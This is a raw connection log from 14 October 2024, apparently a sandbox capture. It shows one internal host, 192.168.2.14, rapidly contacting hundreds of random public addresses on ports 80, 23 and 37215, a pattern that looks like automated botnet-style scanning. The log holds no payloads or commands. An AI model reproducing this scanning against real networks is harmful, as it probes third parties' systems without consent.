Oct 14, 2024 17:34:11.852232933 CEST	29626	80	192.168.2.14	91.52.140.202
Oct 14, 2024 17:34:11.852236986 CEST	29626	80	192.168.2.14	52.229.53.189
Oct 14, 2024 17:34:11.852236032 CEST	29626	80	192.168.2.14	203.110.53.254
Oct 14, 2024 17:34:11.852200031 CEST	29626	80	192.168.2.14	119.61.238.223
Oct 14, 2024 17:34:11.852236032 CEST	29626	80	192.168.2.14	212.170.70.63
Oct 14, 2024 17:34:11.852232933 CEST	29626	80	192.168.2.14	93.78.205.222
Oct 14, 2024 17:34:11.852235079 CEST	29626	80	192.168.2.14	48.202.189.69
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	172.207.127.206
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	171.167.245.235
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	53.165.59.33
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	164.230.63.241
Oct 14, 2024 17:34:11.852251053 CEST	29626	80	192.168.2.14	88.156.11.110
Oct 14, 2024 17:34:11.852232933 CEST	29626	80	192.168.2.14	158.109.214.84
Oct 14, 2024 17:34:11.852251053 CEST	29626	80	192.168.2.14	13.65.103.6
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	154.97.255.75
Oct 14, 2024 17:34:11.852235079 CEST	29626	80	192.168.2.14	139.117.79.154
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	139.25.95.89
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	148.75.154.75
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	131.86.228.179
Oct 14, 2024 17:34:11.852235079 CEST	29626	80	192.168.2.14	84.101.50.217
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	139.80.214.126
Oct 14, 2024 17:34:11.852235079 CEST	29626	80	192.168.2.14	80.232.141.97
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	213.15.45.158
Oct 14, 2024 17:34:11.852235079 CEST	29626	80	192.168.2.14	170.5.79.198
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	150.101.39.201
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	183.158.169.68
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	203.147.200.34
Oct 14, 2024 17:34:11.852248907 CEST	29626	80	192.168.2.14	153.247.170.19
Oct 14, 2024 17:34:11.852271080 CEST	29626	80	192.168.2.14	50.231.154.92
Oct 14, 2024 17:34:11.852272034 CEST	29626	80	192.168.2.14	136.115.61.146
Oct 14, 2024 17:34:11.852272034 CEST	29626	80	192.168.2.14	99.225.196.19
Oct 14, 2024 17:34:11.852272034 CEST	29626	80	192.168.2.14	210.118.134.129
Oct 14, 2024 17:34:11.852308989 CEST	29626	80	192.168.2.14	61.1.213.143
Oct 14, 2024 17:34:11.852308989 CEST	29626	80	192.168.2.14	146.207.96.39
Oct 14, 2024 17:34:11.852308989 CEST	29626	80	192.168.2.14	66.22.200.174
Oct 14, 2024 17:34:11.852308989 CEST	29626	80	192.168.2.14	72.34.0.65
Oct 14, 2024 17:34:11.852308989 CEST	29626	80	192.168.2.14	75.5.114.101
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	138.175.243.225
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	213.42.56.50
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	77.148.90.132
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	218.180.146.104
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	92.235.1.37
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	133.134.183.147
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	208.144.62.220
Oct 14, 2024 17:34:11.852314949 CEST	29626	80	192.168.2.14	34.153.28.66
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	117.61.78.97
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	192.112.182.74
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	121.62.123.6
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	181.163.64.129
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	54.84.197.132
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	207.31.238.7
Oct 14, 2024 17:34:11.852314949 CEST	29626	80	192.168.2.14	156.119.248.232
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	99.215.214.225
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	78.4.189.94
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	171.128.174.223
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	61.210.91.254
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	188.247.189.108
Oct 14, 2024 17:34:11.852314949 CEST	29626	80	192.168.2.14	84.33.142.98
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	97.129.35.144
Oct 14, 2024 17:34:11.852314949 CEST	29626	80	192.168.2.14	89.196.219.79
Oct 14, 2024 17:34:11.852312088 CEST	29626	80	192.168.2.14	25.44.236.101
Oct 14, 2024 17:34:11.852314949 CEST	29626	80	192.168.2.14	207.97.160.205
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	136.125.137.204
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	173.41.223.221
Oct 14, 2024 17:34:11.852315903 CEST	29626	80	192.168.2.14	98.130.221.45
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	178.65.134.239
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	83.63.161.13
Oct 14, 2024 17:34:11.852336884 CEST	29626	80	192.168.2.14	108.90.105.198
Oct 14, 2024 17:34:11.852336884 CEST	29626	80	192.168.2.14	167.246.167.0
Oct 14, 2024 17:34:11.852336884 CEST	29626	80	192.168.2.14	9.175.153.117
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	75.50.184.64
Oct 14, 2024 17:34:11.852336884 CEST	29626	80	192.168.2.14	112.30.206.227
Oct 14, 2024 17:34:11.852313042 CEST	29626	80	192.168.2.14	64.81.34.83
Oct 14, 2024 17:34:11.852336884 CEST	29626	80	192.168.2.14	129.219.65.120
Oct 14, 2024 17:34:11.852340937 CEST	29626	80	192.168.2.14	65.229.113.184
Oct 14, 2024 17:34:11.852340937 CEST	29626	80	192.168.2.14	77.159.192.155
Oct 14, 2024 17:34:11.852336884 CEST	29626	80	192.168.2.14	67.47.146.142
Oct 14, 2024 17:34:11.852340937 CEST	29626	80	192.168.2.14	196.103.90.151
Oct 14, 2024 17:34:11.852336884 CEST	29626	80	192.168.2.14	181.72.158.162
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	113.17.1.144
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	53.170.74.118
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	27.104.9.49
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	190.49.42.57
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	119.55.67.101
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	176.106.223.171
Oct 14, 2024 17:34:11.852344990 CEST	29626	80	192.168.2.14	45.186.239.69
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	76.134.157.147
Oct 14, 2024 17:34:11.852344990 CEST	29626	80	192.168.2.14	160.30.167.81
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	95.218.227.102
Oct 14, 2024 17:34:11.852344990 CEST	29626	80	192.168.2.14	58.116.227.224
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	80.129.126.165
Oct 14, 2024 17:34:11.852344990 CEST	29626	80	192.168.2.14	175.247.167.16
Oct 14, 2024 17:34:11.852344036 CEST	29626	80	192.168.2.14	200.32.204.172
Oct 14, 2024 17:34:11.852344990 CEST	29626	80	192.168.2.14	42.248.5.40
Oct 14, 2024 17:34:11.852358103 CEST	29626	80	192.168.2.14	188.23.224.57
Oct 14, 2024 17:34:11.852358103 CEST	29626	80	192.168.2.14	194.191.199.164
Oct 14, 2024 17:34:11.852358103 CEST	29626	80	192.168.2.14	152.231.63.197
Oct 14, 2024 17:34:11.852358103 CEST	29626	80	192.168.2.14	85.117.39.162
Oct 14, 2024 17:34:11.852358103 CEST	29626	80	192.168.2.14	144.121.136.172
Oct 14, 2024 17:34:11.852358103 CEST	29626	80	192.168.2.14	187.215.221.44
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	154.53.237.1
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	144.122.204.78
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	120.97.251.202
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	118.11.23.32
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	149.34.200.216
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	152.224.58.152
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	223.124.72.165
Oct 14, 2024 17:34:11.852365017 CEST	29626	80	192.168.2.14	205.70.211.168
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	188.158.90.138
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	163.123.245.85
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	72.227.114.36
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	203.152.156.9
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	144.172.129.118
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	113.55.194.134
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	75.33.84.166
Oct 14, 2024 17:34:11.852370977 CEST	29626	80	192.168.2.14	217.226.63.253
Oct 14, 2024 17:34:11.852371931 CEST	29626	80	192.168.2.14	46.140.38.94
Oct 14, 2024 17:34:11.852371931 CEST	29626	80	192.168.2.14	185.39.177.128
Oct 14, 2024 17:34:11.852371931 CEST	29626	80	192.168.2.14	163.236.200.230
Oct 14, 2024 17:34:11.852374077 CEST	29626	80	192.168.2.14	162.139.10.94
Oct 14, 2024 17:34:11.852374077 CEST	29626	80	192.168.2.14	201.189.126.21
Oct 14, 2024 17:34:11.852375031 CEST	29626	80	192.168.2.14	171.93.204.111
Oct 14, 2024 17:34:11.852375984 CEST	29626	80	192.168.2.14	203.63.57.166
Oct 14, 2024 17:34:11.852375984 CEST	29626	80	192.168.2.14	84.156.179.231
Oct 14, 2024 17:34:11.852375984 CEST	29626	80	192.168.2.14	105.143.15.2
Oct 14, 2024 17:34:11.852375984 CEST	29626	80	192.168.2.14	27.160.205.48
Oct 14, 2024 17:34:11.852376938 CEST	29626	80	192.168.2.14	139.41.102.8
Oct 14, 2024 17:34:11.852377892 CEST	29626	80	192.168.2.14	50.64.30.0
Oct 14, 2024 17:34:11.852376938 CEST	29626	80	192.168.2.14	131.115.9.218
Oct 14, 2024 17:34:11.852375984 CEST	29626	80	192.168.2.14	1.112.150.78
Oct 14, 2024 17:34:11.852377892 CEST	29626	80	192.168.2.14	132.156.20.182
Oct 14, 2024 17:34:11.852375984 CEST	29626	80	192.168.2.14	148.212.85.239
Oct 14, 2024 17:34:11.852375984 CEST	29626	80	192.168.2.14	77.87.92.115
Oct 14, 2024 17:34:11.852376938 CEST	29626	80	192.168.2.14	170.98.71.245
Oct 14, 2024 17:34:11.852401972 CEST	29626	80	192.168.2.14	199.136.56.66
Oct 14, 2024 17:34:11.852401972 CEST	29626	80	192.168.2.14	18.253.134.68
Oct 14, 2024 17:34:11.852401972 CEST	29626	80	192.168.2.14	139.8.60.244
Oct 14, 2024 17:34:11.852402925 CEST	29626	80	192.168.2.14	142.27.242.182
Oct 14, 2024 17:34:11.852402925 CEST	29626	80	192.168.2.14	131.24.232.130
Oct 14, 2024 17:34:11.852402925 CEST	29626	80	192.168.2.14	173.17.134.184
Oct 14, 2024 17:34:11.852402925 CEST	29626	80	192.168.2.14	204.29.45.181
Oct 14, 2024 17:34:11.852416039 CEST	29626	80	192.168.2.14	66.136.78.163
Oct 14, 2024 17:34:11.852416039 CEST	29626	80	192.168.2.14	80.100.151.32
Oct 14, 2024 17:34:11.852416039 CEST	29626	80	192.168.2.14	66.133.111.29
Oct 14, 2024 17:34:11.852416039 CEST	29626	80	192.168.2.14	58.159.4.199
Oct 14, 2024 17:34:11.852416992 CEST	29626	80	192.168.2.14	207.136.47.121
Oct 14, 2024 17:34:11.852416039 CEST	29626	80	192.168.2.14	223.189.109.152
Oct 14, 2024 17:34:11.852416992 CEST	29626	80	192.168.2.14	9.211.6.38
Oct 14, 2024 17:34:11.852420092 CEST	29626	80	192.168.2.14	152.193.137.17
Oct 14, 2024 17:34:11.852421045 CEST	29626	80	192.168.2.14	159.189.113.152
Oct 14, 2024 17:34:11.852421045 CEST	29626	80	192.168.2.14	200.227.43.185
Oct 14, 2024 17:34:11.852420092 CEST	29626	80	192.168.2.14	75.61.6.188
Oct 14, 2024 17:34:11.852421045 CEST	29626	80	192.168.2.14	77.109.71.215
Oct 14, 2024 17:34:11.852421045 CEST	29626	80	192.168.2.14	107.232.107.83
Oct 14, 2024 17:34:11.852420092 CEST	29626	80	192.168.2.14	191.54.255.127
Oct 14, 2024 17:34:11.852421045 CEST	29626	80	192.168.2.14	151.0.55.37
Oct 14, 2024 17:34:11.852421045 CEST	29626	80	192.168.2.14	36.82.22.131
Oct 14, 2024 17:34:11.852422953 CEST	29626	80	192.168.2.14	137.252.191.169
Oct 14, 2024 17:34:11.852422953 CEST	29626	80	192.168.2.14	146.110.144.1
Oct 14, 2024 17:34:11.852422953 CEST	29626	80	192.168.2.14	165.239.83.231
Oct 14, 2024 17:34:11.852431059 CEST	29626	80	192.168.2.14	125.50.224.201
Oct 14, 2024 17:34:11.852488041 CEST	29626	80	192.168.2.14	168.204.209.122
Oct 14, 2024 17:34:11.852489948 CEST	29626	80	192.168.2.14	27.144.16.164
Oct 14, 2024 17:34:11.852489948 CEST	29626	80	192.168.2.14	95.96.215.135
Oct 14, 2024 17:34:11.852490902 CEST	29626	80	192.168.2.14	218.138.149.225
Oct 14, 2024 17:34:11.852490902 CEST	29626	80	192.168.2.14	170.250.126.48
Oct 14, 2024 17:34:11.852490902 CEST	29626	80	192.168.2.14	53.71.82.62
Oct 14, 2024 17:34:11.852490902 CEST	29626	80	192.168.2.14	44.44.55.201
Oct 14, 2024 17:34:11.852492094 CEST	29626	80	192.168.2.14	135.237.189.14
Oct 14, 2024 17:34:11.852493048 CEST	29626	80	192.168.2.14	189.249.139.182
Oct 14, 2024 17:34:11.852535963 CEST	29626	80	192.168.2.14	114.21.6.16
Oct 14, 2024 17:34:11.852535963 CEST	29626	80	192.168.2.14	122.208.67.239
Oct 14, 2024 17:34:11.853750944 CEST	45036	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:11.854487896 CEST	34820	23	192.168.2.14	221.31.134.11
Oct 14, 2024 17:34:11.855545044 CEST	50276	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:11.856360912 CEST	57218	23	192.168.2.14	163.103.18.4
Oct 14, 2024 17:34:11.856467962 CEST	23	33942	158.251.193.228	192.168.2.14
Oct 14, 2024 17:34:11.856513977 CEST	33942	23	192.168.2.14	158.251.193.228
Oct 14, 2024 17:34:11.857495070 CEST	39220	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:11.858341932 CEST	56094	23	192.168.2.14	125.7.78.111
Oct 14, 2024 17:34:11.859364033 CEST	43396	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:11.860447884 CEST	42826	23	192.168.2.14	24.167.54.72
Oct 14, 2024 17:34:11.861839056 CEST	54104	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:11.862787962 CEST	53304	23	192.168.2.14	218.55.165.29
Oct 14, 2024 17:34:11.864053965 CEST	49814	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:11.865000963 CEST	29625	37215	192.168.2.14	156.52.232.124
Oct 14, 2024 17:34:11.865001917 CEST	29625	37215	192.168.2.14	156.118.88.37
Oct 14, 2024 17:34:11.865009069 CEST	29625	37215	192.168.2.14	156.127.83.247
Oct 14, 2024 17:34:11.865009069 CEST	29625	37215	192.168.2.14	197.59.0.111
Oct 14, 2024 17:34:11.865036964 CEST	29625	37215	192.168.2.14	197.21.30.247
Oct 14, 2024 17:34:11.865046978 CEST	53364	23	192.168.2.14	35.51.123.94
Oct 14, 2024 17:34:11.865051985 CEST	29625	37215	192.168.2.14	197.95.7.78
Oct 14, 2024 17:34:11.865055084 CEST	29625	37215	192.168.2.14	41.148.182.253
Oct 14, 2024 17:34:11.865055084 CEST	29625	37215	192.168.2.14	197.212.73.241
Oct 14, 2024 17:34:11.865056038 CEST	29625	37215	192.168.2.14	197.57.229.87
Oct 14, 2024 17:34:11.865056992 CEST	29625	37215	192.168.2.14	197.178.94.57
Oct 14, 2024 17:34:11.865058899 CEST	29625	37215	192.168.2.14	41.26.8.52
Oct 14, 2024 17:34:11.865115881 CEST	29625	37215	192.168.2.14	41.130.206.143
Oct 14, 2024 17:34:11.865155935 CEST	29625	37215	192.168.2.14	156.48.69.101
Oct 14, 2024 17:34:11.865185976 CEST	29625	37215	192.168.2.14	41.171.110.117
Oct 14, 2024 17:34:11.865190029 CEST	29625	37215	192.168.2.14	197.120.179.112
Oct 14, 2024 17:34:11.865190029 CEST	29625	37215	192.168.2.14	41.214.254.183
Oct 14, 2024 17:34:11.865191936 CEST	29625	37215	192.168.2.14	41.228.43.116
Oct 14, 2024 17:34:11.865191936 CEST	29625	37215	192.168.2.14	197.60.166.114
Oct 14, 2024 17:34:11.865191936 CEST	29625	37215	192.168.2.14	156.182.23.198
Oct 14, 2024 17:34:11.865195036 CEST	29625	37215	192.168.2.14	197.222.187.105
Oct 14, 2024 17:34:11.865196943 CEST	29625	37215	192.168.2.14	41.178.64.18
Oct 14, 2024 17:34:11.865196943 CEST	29625	37215	192.168.2.14	156.108.129.69
Oct 14, 2024 17:34:11.865196943 CEST	29625	37215	192.168.2.14	41.112.48.122
Oct 14, 2024 17:34:11.865196943 CEST	29625	37215	192.168.2.14	41.234.207.9
Oct 14, 2024 17:34:11.865209103 CEST	29625	37215	192.168.2.14	197.39.55.247
Oct 14, 2024 17:34:11.865214109 CEST	29625	37215	192.168.2.14	197.166.207.107
Oct 14, 2024 17:34:11.865214109 CEST	29625	37215	192.168.2.14	197.80.139.236
Oct 14, 2024 17:34:11.865214109 CEST	29625	37215	192.168.2.14	156.14.61.197
Oct 14, 2024 17:34:11.865214109 CEST	29625	37215	192.168.2.14	156.209.38.119
Oct 14, 2024 17:34:11.865214109 CEST	29625	37215	192.168.2.14	41.180.184.131
Oct 14, 2024 17:34:11.865214109 CEST	29625	37215	192.168.2.14	156.176.168.138
Oct 14, 2024 17:34:11.865214109 CEST	29625	37215	192.168.2.14	41.73.131.250
Oct 14, 2024 17:34:11.865232944 CEST	29625	37215	192.168.2.14	41.4.17.96
Oct 14, 2024 17:34:11.865232944 CEST	29625	37215	192.168.2.14	156.114.105.200
Oct 14, 2024 17:34:11.865232944 CEST	29625	37215	192.168.2.14	197.4.79.202
Oct 14, 2024 17:34:11.865233898 CEST	29625	37215	192.168.2.14	197.254.63.164
Oct 14, 2024 17:34:11.865235090 CEST	29625	37215	192.168.2.14	41.7.156.208
Oct 14, 2024 17:34:11.865235090 CEST	29625	37215	192.168.2.14	41.10.205.254
Oct 14, 2024 17:34:11.865235090 CEST	29625	37215	192.168.2.14	41.247.51.166
Oct 14, 2024 17:34:11.865236044 CEST	29625	37215	192.168.2.14	41.129.81.14
Oct 14, 2024 17:34:11.865236044 CEST	29625	37215	192.168.2.14	156.198.252.114
Oct 14, 2024 17:34:11.865236044 CEST	29625	37215	192.168.2.14	197.129.239.73
Oct 14, 2024 17:34:11.865236998 CEST	29625	37215	192.168.2.14	41.39.90.112
Oct 14, 2024 17:34:11.865236044 CEST	29625	37215	192.168.2.14	197.70.149.9
Oct 14, 2024 17:34:11.865236998 CEST	29625	37215	192.168.2.14	41.73.64.48
Oct 14, 2024 17:34:11.865240097 CEST	29625	37215	192.168.2.14	156.51.157.71
Oct 14, 2024 17:34:11.865236044 CEST	29625	37215	192.168.2.14	197.190.141.172
Oct 14, 2024 17:34:11.865240097 CEST	29625	37215	192.168.2.14	41.4.188.5
Oct 14, 2024 17:34:11.865236998 CEST	29625	37215	192.168.2.14	197.8.150.43
Oct 14, 2024 17:34:11.865240097 CEST	29625	37215	192.168.2.14	197.92.223.79
Oct 14, 2024 17:34:11.865236998 CEST	29625	37215	192.168.2.14	156.142.119.21
Oct 14, 2024 17:34:11.865240097 CEST	29625	37215	192.168.2.14	41.52.30.86
Oct 14, 2024 17:34:11.865240097 CEST	29625	37215	192.168.2.14	156.131.160.203
Oct 14, 2024 17:34:11.865252018 CEST	29625	37215	192.168.2.14	41.247.10.249
Oct 14, 2024 17:34:11.865271091 CEST	29625	37215	192.168.2.14	197.57.122.243
Oct 14, 2024 17:34:11.865271091 CEST	29625	37215	192.168.2.14	156.40.137.32
Oct 14, 2024 17:34:11.865271091 CEST	29625	37215	192.168.2.14	197.204.216.246
Oct 14, 2024 17:34:11.865271091 CEST	29625	37215	192.168.2.14	197.212.31.62
Oct 14, 2024 17:34:11.865320921 CEST	29625	37215	192.168.2.14	156.99.61.186
Oct 14, 2024 17:34:11.865324974 CEST	29625	37215	192.168.2.14	156.207.30.150
Oct 14, 2024 17:34:11.865324974 CEST	29625	37215	192.168.2.14	156.232.117.67
Oct 14, 2024 17:34:11.865350962 CEST	23	42826	24.167.54.72	192.168.2.14
Oct 14, 2024 17:34:11.865355015 CEST	29625	37215	192.168.2.14	41.107.226.242
Oct 14, 2024 17:34:11.865355015 CEST	29625	37215	192.168.2.14	156.12.221.178
Oct 14, 2024 17:34:11.865355015 CEST	29625	37215	192.168.2.14	41.78.11.23
Oct 14, 2024 17:34:11.865355015 CEST	29625	37215	192.168.2.14	156.156.27.176
Oct 14, 2024 17:34:11.865355015 CEST	29625	37215	192.168.2.14	156.0.4.200
Oct 14, 2024 17:34:11.865355015 CEST	29625	37215	192.168.2.14	197.57.149.6
Oct 14, 2024 17:34:11.865355015 CEST	29625	37215	192.168.2.14	41.34.147.255
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	197.94.58.171
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	197.56.170.26
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	197.245.116.209
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	156.206.174.138
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	197.255.234.152
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	197.94.127.109
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	41.103.252.205
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.103.40.212
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	41.194.214.0
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.247.166.185
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	197.33.99.246
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.242.105.94
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.181.241.32
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	156.21.90.138
Oct 14, 2024 17:34:11.865358114 CEST	29625	37215	192.168.2.14	197.138.113.126
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.171.13.42
Oct 14, 2024 17:34:11.865356922 CEST	29625	37215	192.168.2.14	156.148.239.238
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.19.227.79
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.234.223.99
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	197.44.186.162
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.57.42.216
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.101.79.51
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	41.5.38.132
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.59.120.223
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.60.233.238
Oct 14, 2024 17:34:11.865358114 CEST	29625	37215	192.168.2.14	156.185.194.62
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.184.215.230
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	156.54.219.102
Oct 14, 2024 17:34:11.865375042 CEST	29625	37215	192.168.2.14	156.111.171.78
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	156.179.131.39
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	156.200.247.155
Oct 14, 2024 17:34:11.865375042 CEST	29625	37215	192.168.2.14	156.174.67.145
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.20.152.34
Oct 14, 2024 17:34:11.865375042 CEST	29625	37215	192.168.2.14	156.180.189.198
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	41.58.165.196
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	156.220.177.167
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	156.165.105.160
Oct 14, 2024 17:34:11.865375042 CEST	29625	37215	192.168.2.14	156.152.84.29
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.247.149.215
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.156.159.101
Oct 14, 2024 17:34:11.865359068 CEST	29625	37215	192.168.2.14	197.159.0.126
Oct 14, 2024 17:34:11.865375042 CEST	29625	37215	192.168.2.14	156.116.157.31
Oct 14, 2024 17:34:11.865360975 CEST	29625	37215	192.168.2.14	197.191.165.146
Oct 14, 2024 17:34:11.865391970 CEST	29625	37215	192.168.2.14	41.206.46.146
Oct 14, 2024 17:34:11.865394115 CEST	29625	37215	192.168.2.14	197.68.109.129
Oct 14, 2024 17:34:11.865391970 CEST	29625	37215	192.168.2.14	41.65.234.161
Oct 14, 2024 17:34:11.865396023 CEST	29625	37215	192.168.2.14	41.181.152.136
Oct 14, 2024 17:34:11.865396023 CEST	29625	37215	192.168.2.14	156.224.144.10
Oct 14, 2024 17:34:11.865396023 CEST	29625	37215	192.168.2.14	41.92.165.239
Oct 14, 2024 17:34:11.865453959 CEST	29625	37215	192.168.2.14	41.96.13.245
Oct 14, 2024 17:34:11.865453959 CEST	29625	37215	192.168.2.14	156.41.150.60
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	41.188.219.160
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	41.125.126.250
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	156.132.121.85
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	41.214.134.52
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	156.22.105.108
Oct 14, 2024 17:34:11.865478992 CEST	29625	37215	192.168.2.14	41.221.105.176
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	41.71.176.90
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.74.24.75
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	197.48.194.44
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.208.207.48
Oct 14, 2024 17:34:11.865478992 CEST	29625	37215	192.168.2.14	156.113.126.123
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	197.126.116.70
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	156.11.84.139
Oct 14, 2024 17:34:11.865478992 CEST	29625	37215	192.168.2.14	156.8.102.10
Oct 14, 2024 17:34:11.865477085 CEST	42826	23	192.168.2.14	24.167.54.72
Oct 14, 2024 17:34:11.865482092 CEST	29625	37215	192.168.2.14	156.1.8.209
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.107.198.37
Oct 14, 2024 17:34:11.865477085 CEST	29625	37215	192.168.2.14	156.79.109.22
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.197.222.229
Oct 14, 2024 17:34:11.865478992 CEST	29625	37215	192.168.2.14	156.45.57.227
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.50.21.244
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	197.14.249.140
Oct 14, 2024 17:34:11.865490913 CEST	29625	37215	192.168.2.14	197.172.3.83
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	156.102.56.182
